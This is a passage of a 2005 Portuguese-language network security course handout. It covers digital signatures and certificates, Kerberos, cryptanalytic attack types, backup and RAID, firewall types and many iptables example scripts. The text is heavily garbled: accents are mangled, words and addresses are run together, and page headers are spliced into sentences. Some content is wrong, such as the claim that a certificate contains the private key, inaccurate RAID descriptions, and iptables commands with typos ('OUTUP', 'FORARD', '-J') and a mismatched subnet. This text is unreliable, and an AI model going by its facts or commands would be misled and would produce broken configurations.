eletrocircnicas7 Autentica verifica a integridade e faz o reconhecimento de mensagem8 Pode ser utilizada como Hash de um documentoAlgoritmos1) RSA2) Digital Signature Algotithm (DSA)3) Digital Signature Standard (DSS)Usa a chave privada para assinar o documento e o destinataacuterio usa a sua chave puacuteblica paraverificar sua assinatura

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 20 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20054314) Certificados Digitais1) Permite reconhecervalidar certificados emitidos2) Verificaccedilatildeo das chaves por um terceiro de confianccedila ndash autoridades de certificado (CAS)3) Possuem uma taxa de ativaccedilatildeo e validade4) Um certificado digital eacute composto da chave privada e publica do indiviacuteduo mais a assinatura daCA5) Autoridades certificadoras Versign Inc Secure Net Technologia6) Alguns governos como Estados Unidos e Brasil funcionam como certificadores7) Algumas instituiccedilotildees possuem sua proacutepria autoridade para codificaccedilatildeo interna de dados4315) Kerberos1) Serviccedilo de autenticaccedilatildeo (MIT)2) Cifras para codificaccedilatildeo e autenticaccedilatildeo3) Constituiacutedo de um Banco de Dados de Cifra4) Apoacutes o login gera e distribui as chaves de sessatildeo5) Quando o autenticador eacute quebrado todo sistema pode entrar em colapso6) Natildeo eacute indicado para uso entre domiacutenios de seguranccedila44 ) Principais Tipos de Ataques de Codificaccedilatildeo1) Ataque de texto conhecido - Baseia-se na suposiccedilatildeo de uma vasta quantidade de textos cifrados edas mensagens originais a que a funccedilatildeo do especialista criptoanalista eacute descobrir as chavesutilizadas2) Ataque adaptativo do texto escolhido (adaptative ndash choosen ndash plaintext) ndash Neste segundo casoele submete pequenos conjuntos de dados obteacutem o resultado analisa fornece um novo conjunto eassim sucessivamente ateacute que seja capaz de deduzir as chaves3) Ataque do texto cifrado escolhido (choosen ndash cyphertext) ndash o especialista possui uma vastagama de mensagem e os equivalentes dados cifrados mas eacute capaz de produzir uma mensagemcriptografada especiacutefica para ser decifrada e obter o resultado produzidoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 21 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20055) BackupEacute atraveacutes do processo de backup que podemos garantir a seguranccedila de vaacuterios tipos de dados Esteprocesso consiste em realizar uma coacutepia total ou parcial de forma on-line ou off-line dos dados armazenadosnas estaccedilotildees de trabalho eou nos servidores de um determinado ambienteContudo dependendo as caracteriacutesticas do ambiente e das necessidades presentes do mesmo o

processo de backup pode variar largamente deste modo se faz necessaacuterio o uso de criteacuterios paradeterminar a melhor forma para sua realizaccedilatildeo Deste os criteacuterios que podem influenciar o processo debackup satildeo1 A quantidade de dados a serem protegidos2 A frequumlecircncia com que os dados devem ser copiados3 Tempo de realizaccedilatildeo do backup e do restore dos dados4 A confidencialidade fornecida pelo processo5 O custo do processo e o valor das informaccedilotildees6 O prejuiacutezo gerado pela perda parcial ou total dos dados51) Meios de armazenamentoDefinida as necessidades baacutesicas a serem atendidas devemos selecionar um do tipos dearmazenamento que podem ser on-line Proacuteximos e off-lineAs miacutedias de armazenamento on-line consiste em discos riacutegidos ou arrays de discos Estas miacutediasfornecem uma disponibilidade em tempo real e satildeo normalmente utilizados para fornecer uma formaaltrnativa de armazenamento Estas miacutedias natildeo substituem os backups offlineO armazenamento proacuteximo eacute formado por ldquoJukeboxesrdquo oacuteticos e coacutepias locais que estatildeorapidamente acessiacuteveis normalmente fazem uso de robos para gerenciarem as miacutedias fornecendo umacesso raacutepido aos dados quando o serviccedilo on-line natildeo estaacute disponiacutevelJaacute o armazenamento off-line consiste no arquivamento de miacutedias fora da rede de dados em um localseguro e protegido contra roubo cataacutestrofes naturais e outros ameccedilas Sempre que possiacutevel as miacutediasdevem ser armazenadas em local geograacuteficamente diferente e fora das instalaccedilotildees comerciais da empresaPara a realizaccedilatildeo deste tipos de backup podem ser utilizadas trecircs tipos de miacutedias diferentesfitasdiscos magneacuteticos armazenamento oacutetico e arrays de discoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 22 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005As fitas magneacuteticas satildeo as miacutedias mais comuns mais baratas utilizadas nos backups off-line maspor outro lado satildeo as mais lentas e que ocupam um grande espaccedilo Seus principais tipos satildeo 8mmTravan DLT DAT e MagstarO armazenamento oacutetico eacute muito popular em ambientes onde a velocidade e a confiabilidade satildeo asmaiores preocupaccedilotildees estes ambientes fazem uso de servidores com jukboxes oacuteticos de altadisponibilidade que satildeo soluccedilotildees caras porem muito eficientesOs arrays de discos ou simplesmente RAIDs (Redundant Array of Independet Disks) satildeo um

subsistema de discos riacutegidos que melhoram o desempenho e a toleracircncia a falhas uma vez que os dadossatildeo gravados em mais de um disco ao mesmo tempo Estas soluccedilotildees podem ser tanto implementadas emsoftware quanto em hardware Neste caso quando uma unidade de disco falha o administrador do sistemapode substitui-la em alguns casos sem parar o funcionamento do servidorOs principais tipos de RAID satildeo_ RAID 0 este niacutevel realiza um ldquojoinrdquo dos discos ou seja ele combina todos osdiscos em uma uacutenica unidade loacutegica uacutetil quando desejamos aumentar acapacidade de armazenamento de dados_ RAID 1 realiza o espelhamento de um disco em um outro nesta soluccedilatildeo umdos discos fica inativo apenas recebendo os dados do disco mestre ateacute que elefalhe Este niacutevel oferece uma boa toleracircncia a falhas visto que ao ocorrer afalha de um disco os usuaacuterios satildeo automaticamente redirecionados para oantigo disco escravo_ RAID 3 tambeacutem implementa um espelhamento soacute que neste caso trecircs ou maisunidades de disco satildeo espelhadas em uma outra este niacutevel tambeacutem fornecetoleracircncia a falhas uma vez que grava os bits de paridade em uma unidadededicada e permite que os discos trabalhem em paralelo fornecendo assim altoniacutevel de desempenho_ RAID 5 esta faz uso de trecircs unidades em duas satildeo armazenados os dados ena terceira os bits de paridade sendo esta eacute a soluccedilatildeo mais utilizada_ RAID 10 eacute a combinaccedilatildeo do RAID 1 e 0 ou seja espelhamento e intercalaccedilatildeoentre unidade de discoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 23 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A soluccedilatildeo de RAID fornece um melhor desempenho e toleracircncia a falhas mas de forma algumasubstituir o processo de backup off-line Vale lembrar que dois ou mais discos podem falhar ao mesmotempo perdendo o acesso total aos dados armazenados no arrayOutra soluccedilatildeo de proteccedilatildeo aos dados eacute o HSM (Hierarchical Storage Management) que eacute umsistema automatizado para o gerenciamento de dados e espaccedilo em disco muito utilizado em mainframesEsta soluccedilatildeo monitora a capacidade das unidades e move os dados para as miacutedias de armazenamentoproacuteximo ou offline mais lentasO HSM pode mover os dados segundo sua idade frequumlecircncia de uso ou baseado em outros criteacuteriospermitindo deste modo uma migraccedilatildeo de dados automaacutetica Esta soluccedilatildeo eacute relativamente cara e difiacutecil de

ser implementadaJaacute as SANS (Storage Area Networks) ligam diretamente os servidores de dados as unidade dearmazenamento graccedilas ao uso de um canal de fibra (fiberchannel) permite uma conexatildeo de alta velocidadee implementa uma subrede de armazenamento com isto libera a rede de produccedilatildeo do peso do backup dedados e economiza largura de banda Aleacutem disto oferecem alta velocidade confiabilidade e gerenciamentocentralizadoPor outro lado as NAS (Network Attached Storage) funcionam de forma semelhante aos servidoresde arquivos visto que estatildeo conectados diretamente a rede ethernet e possuem sistemas operacionaisembutidos nos equipamentos Esta estrutura eacute uma alternativa a inclusatildeo de unidades de dados nosservidores Para garantir a seguranccedila dos dados estes equipamentos implementas um dos niacuteveis de RAIDestudados anteriormente mas backups de grades volumes de dados podem afetar a velocidade da redeEsta soluccedilatildeo eacute relativamente barata simples e possui grande compatibilidade entre fornecedores52 ) Tipos de backup quanto ao periacuteodo de execuccedilatildeo e volume de dadosDependendo de sua periodicidade o processo de backup pode ser nomeado como_ Backup Completo realiza uma coacutepia de todos os dados para a miacutedia natildeo importandoo conteuacutedo do uacuteltimo backup Este tipo de backup normalmente possui periodicidadesemanal_ Backup Incremental salva os arquivos que foram alterados desde o uacuteltimo backupNeste processo o novo arquivo eacute armazenado na miacutedia e o arquivo original natildeo eacuteremovido da miacutedia No processo de restauraccedilatildeo devemos ter o uacuteltimo backup completoe dos os backups incrementais desde entatildeo Este tipo de backup possui periodicidadeProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 24 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005diaacuteria ou menor_ Backup Delta Soacute faz a coacutepia dos dados reais que foram modificados nos arquivos eacuteum processo de backup mais raacutepido e que ocupa menos espaccedilo nas miacutedias de backupcontudo o processo de restauraccedilatildeo eacute mais lento e complexo Tambeacutem possuiperiodicidade diaacuteria ou menor_ Backup Diferencial Copia todos os arquivos que foram alterados desde o uacuteltimo

backup completo por este motivo ocupa mais espaccedilo nas miacutedias de backup e maislento de ser gerado contudo eacute mais faacutecil de recupera-lo sua execuccedilatildeopreferencialmente deve ser diaacuteria ou em intervalo menor Para restaurar os dados apartir deste tipo de backup deve-se ter em matildeos apenas o uacuteltimo backup completo e ouacuteltimo backup diferencialProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 25 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20056) FirewallVaacuterias pesquisas mostraram que a ldquoInternetrdquo eacute o principal ponto utilizado para realizar invasotildees Em2002 segundo uma pesquisa feita pela moacutedulo 43 das empresas sofreram algum tipo de ataque ouinvasatildeo Em 2003 esta valor subiu para 77 E os hackers brasileiros satildeo internacional considerados comoos melhores do mundoOutro fator importante eacute que ldquo quanto mais tempo ficamos conectados agrave internet maiores satildeo aschances de sermos invadidos ou infectados por malwares rdquo Isto tudo pois o Ipv4 versatildeo atualmente emuso da pilha de protocolos TCPIP natildeo foi projetado para assegurar a integridade das informaccedilotildees e realizaro controle de acesso apropriado Deste modo a forma preferida de se violar uma rede tem sido o uso depequenas falhas na implementaccedilatildeo de serviccedilos e protocolos baseados no TCPIP61) O papel do Firewall no contexto atual das redes de computadoresA principal funccedilatildeo de um firewall eacute proteger os dados da rede interna aquela que natildeo estaacuteconectada a internet de ataques vindos da rede externa normalmente a internet Ou seja tem por objetivoimpedir acessos loacutegicos natildeo autorizados a um determinado ambienteNeste modelo o firewall geralmente eacute a uacutenica maacutequina diretamente conectada a rede externa mascada noacute da rede pode e deve ter seu proacuteprio firewall ativo mas neste caso sua funcionalidade estaacute restrita aproteccedilatildeo local incluindo possiacuteveis infecccedilotildees e proliferaccedilotildees de malwares na rede internaOutro uso frequumlente dos firewalls eacute ser utilizado para filtrar quem pode acessar maacutequinas da redeinterna a partir da internet este tipo de filtragem normalmente eacute baseada no endereccedilo IP a origem daconexatildeo e em alguns casos em seu Mac Adress62) HistoacutericoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 26 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

63) Tipos de FirewallExistem vaacuterias classificaccedilotildees para os firewalls contudo as mais comuns satildeo Filtro de PacotesFirewall NAT e HiacutebridosOs filtros de pacotes realizam o controle de todo fluxo de dados direcionado ao host Atraveacutes daanaacutelise dos cabeccedilalhos dos pacotes nos vaacuterios niacuteveis da arquitetura de rede satildeo capazes de comparar seusconteuacutedos com regras de controle de acesso (ACLs) preacuteviamente definidas e entatildeo liberar ou natildeodeterminado fluxo de dadosJaacute um firewall NAT manipula a rota padratildeo de pacotes que atravessam o kernel do host ele realizaa traduccedilatildeo dos endereccedilos de origem de destino e algumas vezes pode inclusive realizar umredirecionamento de porta Este firewall pode ser classificado como SNAT DNAT e MasqueradingUm firewall SNAT normalmente eacute utilizado para fornecer acesso a uma rede privada apartir de umou vaacuterios endereccedilos IP fixo Jaacute o Masquerading realiza a mesma funccedilatildeo soacute que sobre endereccedilos E umfirewell baseado em DNAT pode ser utilizado na construccedilatildeo de uma DMZ ou de um cluster de servidoresO terceiro tipo de firewall seria o hiacutebrido que eacute aquele que realiza tanto filtragem de pacote quandoredirecionamento (NAT)Outra forma de classificaccedilatildeo dos firewall eacute quanto sua forma de atuaccedilatildeo dentro da pilha RMOSIneste caso os firewalls podem ser classificados como de Rede ou Gateways de AplicativosOs Firewalls de niacutevel de Rede satildeo na verdade roteadores com grande capacidade de filtragem depacote permitem que haja uma restriccedilatildeo a niacutevel de endereccedilo protocolo nuacutemero da porta e conteuacutedo Satildeofaacutecil implementaccedilatildeo poreacutem quando mal configurados estatildeo sujeitos a ataques do tipo spoofing Mas afiltragem normalmente impacta o processo de roteamento de modo que podemos afirmar que ldquoodesempenho do roteador eacute inversamente proporcional ao niacutevel de filtragem impostardquoJaacute os firewalls gateways de aplicativo normalmente funcionam como pontes entre duas redes ospacotes provenientes de fora da rede passam primeiro pelo gateways que age como um filtro escondendoassim a rede internaTodos os tipos de firewall possuem suas limitaccedilotildees o de niacutevel de rede possui uma visatildeo muitolimitada do que realmente acontece na rede Jaacute os gateways de aplicativo tem um conhecimento maior

sobre a aplicaccedilatildeo poreacutem satildeo soluccedilotildees especiacuteficas para cada aplicativo Um dos firewalls de aplicativosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 27 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005mais conhecido eacute o SQUID que foi projetado para manipular os protocolos HTTP HTTPS e FTP64) IPTABLES O firewall do LinuxEste software eacute a quarta geraccedilatildeo de firewall no Linux e permite a realizaccedilatildeo da filtragem dospacotes nas sete camadas da RMOSI funcionando ainda como um firewall hiacutebrido As ACL utilizados porele estatildeo todas armazenadas em memoacuteria processo este que acelera os mecanismos de filtragem eredirecionamentoO iptables eacute um dos poucos firewalls em software totalmente implementado no kernel do sistemaoperacional garantindo assim maior niacutevel de seguranccedila a filtragem641) As tabelas o iptablesPara facilitar seu funcionamento e sua gerencia o iptables divide as ACLs em tabelas cada qualcom um funccedilatildeo especiacutefica As principais tabelas do iptables satildeo_ filter responsaacutevel pela filtragem de todos os pacotes que passam pelo host natildeoimportando origem e destino_ nat responsaacutevel pelo controle dos pacotes que passam pelo host mas cuja origem oudestino natildeo eacute o mesmo Esta tabela eacute utilizada quando desejamos utilizar o iptables paraconstruir ldquogatewaysrdquo de borda_ mangle permite alterar caracteriacutesticas especiacuteficas do pacote como por exemplo oTOS (Tipo de Serviccedilo) o que permite implementar um sistema simples de QOS( qualidade de serviccedilo)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 28 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005642) Fluxos do iptablesO iptables permite manipular vaacuterios fluxos dependendo da tabela utilizada sendo que a tabela ldquofilterrdquopossui os seguintes_ INPUT fluxo formado pelos pacotes cujo endereccedilo de destino eacute o proacuteprio host_ OUTPUT fluxo dos pacotes originados pelos aplicativos e serviccedilos hospedados nohost_ FORWARD fluxo composto por todos os pacotes que chegam ao host mas que satildeodestinados a outra maacutequina que normalmente estaacute na rede interna ou na DMZ Logo

este fluxo eacute utilizado para permitir a realizaccedilatildeo do NATA tabela ldquonatrdquo por sua vez possui os seguintes fluxos_ PREROUTING que permite realizar alteraccedilotildees nos pacotes antes que eles sejamroteados_ POSROUTING permite manipular os pacotes apoacutes seu processo de roteamento_ OUTPUT possibilita o redirecionamento dos pacotes que foram emitidos pelo hostJaacute a tabela ldquomanglerdquo possui os fluxos PREROUTING E OUTPUT643) Comandos do iptablesPara a manipulaccedilatildeo das ACLs armazenadas nas suas tabelas o iptables fornece os seguintescomandos-A adiciona uma nova regra no final da lista de regras de uma dada tabela-L lista todas as regras de uma determinada tabela-P define a poliacutetica padratildeo uma tabela ou seja a regra padratildeo que seraacute aplicada a umfluxo quando ele passar por todas as demaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 29 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F remove todas as regras de uma tabela sem alterar sua poliacutetica padratildeo-N cria nova nova ldquochainrdquo na tabela especificada-X apaga todas as ldquochainsrdquo de uma determinada tabela644) Accedilotildees do iptablesAs accedilotildees permitem categorizar melhor as ACLs fornecendo um tratamento mais detalhado sobrequais pacotes deveratildeo ser manipulados As principais accedilotildees fornecidas pelo iptables satildeo listadas abaixo-p especifica qual protocolo seraacute manipulado (TCP UDP ICMP etc)-i especifica a interface pela qual o pacote deve entrar (eth0 eth1 ppp0 ppp+)-o especifica a interface pela qual o pacote deve sair (eth0 eth1 ppp0 ppp+)-s informa a origem do pacote este valor pode ser um endereccedilo ip (19216825415)pode ser uma classe ip (19216825425424) pode ser um nome de maquina(ftpcyberootscombr) ou um domiacutenio ( cyberootscombr )--sport informa a porta a partir da qual o pacote seraacute enviado porta de origem-d informa o destino do pacote--dport informa a porta de destino do pacote-j informa o de deve ser feito com o pacote ou seja o alvo da regraProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 30 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005645) Alvos da regrasQuando um fluxo se enquadra em todos os quesitos especificados por uma regra ele poderaacute entrar

na maacutequina ser rejeitado ou outras accedilotildees poderatildeo ser realizadas a estas accedilotildees damos o nome de alvo daregra ou fluxo Os principais alvos implementados pelo iptables satildeoACCEPT permite a entrada ou a saiacuteda ou o forward do pacoteDROP descarta o pacote sem comunicar a origem que o mesmo foi rejeitado idealpara ocultar a existecircncia do firewallREJECT descarta o pacote informando a origem que ele foi rejeitado pelo destinoLOG registra o pacote em um arquivo de log que pode ser especificado atraveacutes dosniacuteveis de log do sistema mas por default as mensagens satildeo enviadas para o arquivoldquovarlogmessagesrdquoSNAT altera o endereccedilo de origem do pacote que atendeu as caracteriacutesticasespecificadasDNAT altera o endereccedilo de destino do pacoteREDIRECT redireciona o pacote para uma porta diferenteProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 31 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005645) Exemplos de scripts de Firewall(a) Firewall para bloquear todo o fluxo de dados soacute liberando o fluxo na interface lo definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT DROPiptables -P FORWARD DROP liberando a interface loiptables -A INPUT -i lo -j ACCEPTiptables -A OUTPUT -o lo -j ACCEPT(b) Firewall para liberar o acesso no servidor web aos protocolos http e https definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP definindo as regras de filtragem ao HTTP e HTTPSiptables -A INPUT -p tcp ndashdport 80 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -j ACCEPT(c) Firewall para liberar o acesso serviccedilo http para acesso externo ( eth1) e acesso pela intranet (eth0) naporta 8080

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 32 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005 definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP definindo as regras de filtragem ao HTTP e HTTPSiptables -A INPUT -p tcp ndashdport 80 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth0 -j ACCEPT(d) Firewall para um servidor que hospeda os serviccedilos http (80) https (443) imap (143) pop3 (110) smtp(25) ftp (21) ssh (22) De tal modo que todos os serviccedilos possam ser acessados pela intranet (eth1) e osuacutenicos serviccedilos que podem ser acessados pela internet (eth0) satildeo o http e o https definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando acesso pela internet (eth0)iptables -A INPUT -p tcp ndashdport 80 -i eth0 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth0 -j ACCEPT liberando acesso pela internet (eth1)iptables -A INPUT -p tcp ndashdport 80 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 143 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 110 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 25 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 21 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 22 -i eth1 -j ACCEPTProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 33 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005(e) Firewall para um servidor que_ proiba que qualquer pacote oriundo de nossa LAN (192168254024) possa ser direcionado aosite ldquowwwsexocombrrdquo_ proiba que qualquer pacote oriundo do host ldquowwwcrackercomrdquo possa penetrar na nossa rede

_ permitir a entrada de pacotes oriundos do site ldquowwwcyberootsorgbrrdquo na nossa rede_ todos os pacotes oriundos da interface ldquoeth1rdquo do firewall devem ser redirecionados para ocomputador 192168254254_ todos os pacotes que desejam sair (eth0) da rede local para outra rede tenham seus endereccedilosde origem alterados para 1461643290_ todos os pacotes que tentam entrar na rede por uma interface diferente da ldquoeth0rdquo devem serdescartados o mesmo deve ocorrer com qualquer pacote que tente sair por uma interfacediferente da ldquoeth2rdquo_ descarte todos os pacotes oriundos do ip 20025596171 e destinado ao IP 1921682547_ todos os pacotes destinados a porta 23 do nosso firewall sejam registrados e posteriormentedescartados poliacutetica padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando o traacutefego na interface loiptables -A INPUT -i lo -j ACCEPTiptables -A OUTPUT -o lo -j ACCEPT pacotes que entram no firewalliptables -A INPUT -p tcp - -dport 23 -j LOG ldquo [firewall] acesso ao serviccedilo de telnetrdquoiptables -A INPUT -p tcp - -dport 23 -j DROP regras de forwardiptables -A FORWARD -s 192158254024 -d wwwsexocombr -j DROPiptables -A FORWARD -d 192158254024 -s wwwcyberootsorgbr -j ACCEPTiptables -A FORWARD -s 20025596171 -d 1921682547 -j DROPiptables -A FORWARD -i eth1 -j DROPiptables -A FORWARD -o eth0 -j DROP regras de natiptables -t nat -A PREROUTING -i eth1 -j DNAT 19216825415iptables -t nat -A POSTROUTING -o eth1 -j SNAT 1921682541Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 34 de 71

Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005646) Alguns Fluxos de NATPara acessos agrave internet atraveacutes de uma conexatildeo discada ou banda larga que natildeo fornece endereccedilofixo podemos utilizar a regra abaixoiptables -t nat -A POSTROUTING -o ppp -j MASQUERADEJaacute para conexatildeo agrave internet atraveacutes de um endereccedilo IP fixo e conhecido podemos utilizar uma regracomo a que estaacute abaixoiptables -t nat -A POSTROUTING -s 10100024 -o eth0 -j SNAT - -to 1461643267Outra regra muito comum eacute aquela usada para redirecionar uma conexatildeo vinda da internet para a DMZ comomostra a figura abaixoiptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j DNAT - -to 101001647) Regras e configuraccedilotildees uacuteteisa) Habilitando o forward no kernel do LinuxPara permitir que o iptables instalado em uma distribuiccedilatildeo Linux faccedila forward de pacotes estafuncionalidade deve estar ativa no kernell do sistema para tal podemos utilizar a seguinte linha de comandoecho ldquo1rdquo gt procsysnetipv4ip_forwardProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 35 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Caso haja a necessidade de desabiluitar esta funcionalidade basta tocar o valor 1 para 0 docomando a cima ou seja echo ldquo0rdquo gt procsysnetipv4ip_forwardb) Qualquer pacote cuja origem eacute o host 10031 deveraacute ter seu endereccedilo de origem alterado para192112233iptables -t nat -A POSTROUTING -s 10031 -o eth0 -j SNAT - -to 192112233c) Qualquer pacote cuja origem eacute a rede 100308 deve ter seu endereccedilo de origem alterado para192112233iptables -t nat -A POSTROUTING -s 100308 -o eth0 -j SNAT - -to 192112233d) Qualquer pacote cuja origem eacute a rede 100308 que sai pela interface eth0 deve ter seu endereccedilo deorigem alterado para qualquer um do intervalo 192112233-192112266iptables -t nat -A POSTROUTING -s 100308 -o eth0 -j SNAT - -to 192112233-192112266e) Qualquer pacote que venha do host 10031 e entre na maacutequina pela interface eth0 deve serredirecionado para o endereccedilo 192112233iptables -t nat -A PREROUTING -s 10031 -i eth0 -j DNAT - -to 192112233f) Todos os pacotes que entrem pela interface eth0 devem ser redirecionados para um dos endereccedilos dointervalo 192112210 ateacute 192112233

iptables -t nat -A PREROUTING -i eth0 -j DNAT - -to 192112210-192112233g) Todos os pacotes que entram pela interface eth2 e satildeo destinados a porta 22 deve ser redirecionadospara o host 19211221iptables -t nat -A PREROUTING -i eth2 -p tcp - -dport 22 -j DNAT - -to 19211221h) Criando um proxy transparente iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j REDIRECT - -to-port 3128iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 443 -j REDIRECT - -to-port 3128iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 21 -j REDIRECT - -to-port 3128Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 36 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005648)Firewall a ser utilizando em um bastiatildeo definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTUP ACCEPTiptables -P FORARD DROP liberado o loopbackiptables -A INPUT -i lo -j ACCEPT filtando os pacotesiptables -A INPUT -p tcp - -dport 22 -j ACCEPTiptables -A FORWARD -d 10100024 -j ACCEPTiptables -t nat -A PREROUTING -p tcp - -dport 80 -j DNAT - -to 101001iptables -t nat -A PREROUTING -p tcp - -dport 443 -j DNAT - -to 101001iptables -t nat -A PREROUTING -p tcp - -dport 21 -j DNAT - -to 101002iptables -t nat -A PREROUTING -p tcp - -dport 110 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 995 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 25 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 465 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 143 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 993 -j DNAT - -to 101003Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 37 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005649) Firewall para compartilhamento do Acesso a Internet libera forward no kernelecho ldquo1rdquo gt procsysnetipv4ip_forward

Poliacutetica padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando acesso a interface loiptables -A INPUT -i lo -J ACCEPT libera a entrada de conexotildees iniciadas pela maacutequinaiptables -A INPUT -m state - -state ESTABLISHEDRELATED -j ACCEPT bloqueia entrada na rede de conexotildees invaacutelidasiptables -A FORWARD -m state - -state NEWINVALID -j DROP hablitando o macascaramento com ip dinacircmicoiptables -t nat -A POSTROUTING -s 192168254024 -o eth0 -j MASQUERADE libera a entrada de conexotildees iniciadas pela redeiptables -A FORWARD -o eth0 -m state - -state ESTABLISHEDRELATED -j ACCEPT habilita o forward vinda da rede internaiptables -A FORWARD -i eth1 -s 192168254024 -J ACCEPTProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 38 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20057) SPAMO SPAM praacutetica tatildeo comum nos dias atuais tem se tornado um problema para a maioria dosadministradores de sistemas desenvolvedores e usuaacuterios de internet mas a medida que os filtros anti-spamevoluem as teacutecnicas utilizadas para burlar os filtros se desenvolvem mais raacutepido ainda Uma teacutecnica que temsurtido efeito eacute o uso da heuriacutestica mas seu ponto fraco eacute apresentar uma grande quantidade de falsospositivosMas uma coisa eacute certa muito administradores estatildeo ajudando os inimigos principalmente aquelesque devolvem as mensagens rejeitadas ao spammer que passam a ter certeza da existecircncia daquele e-mail

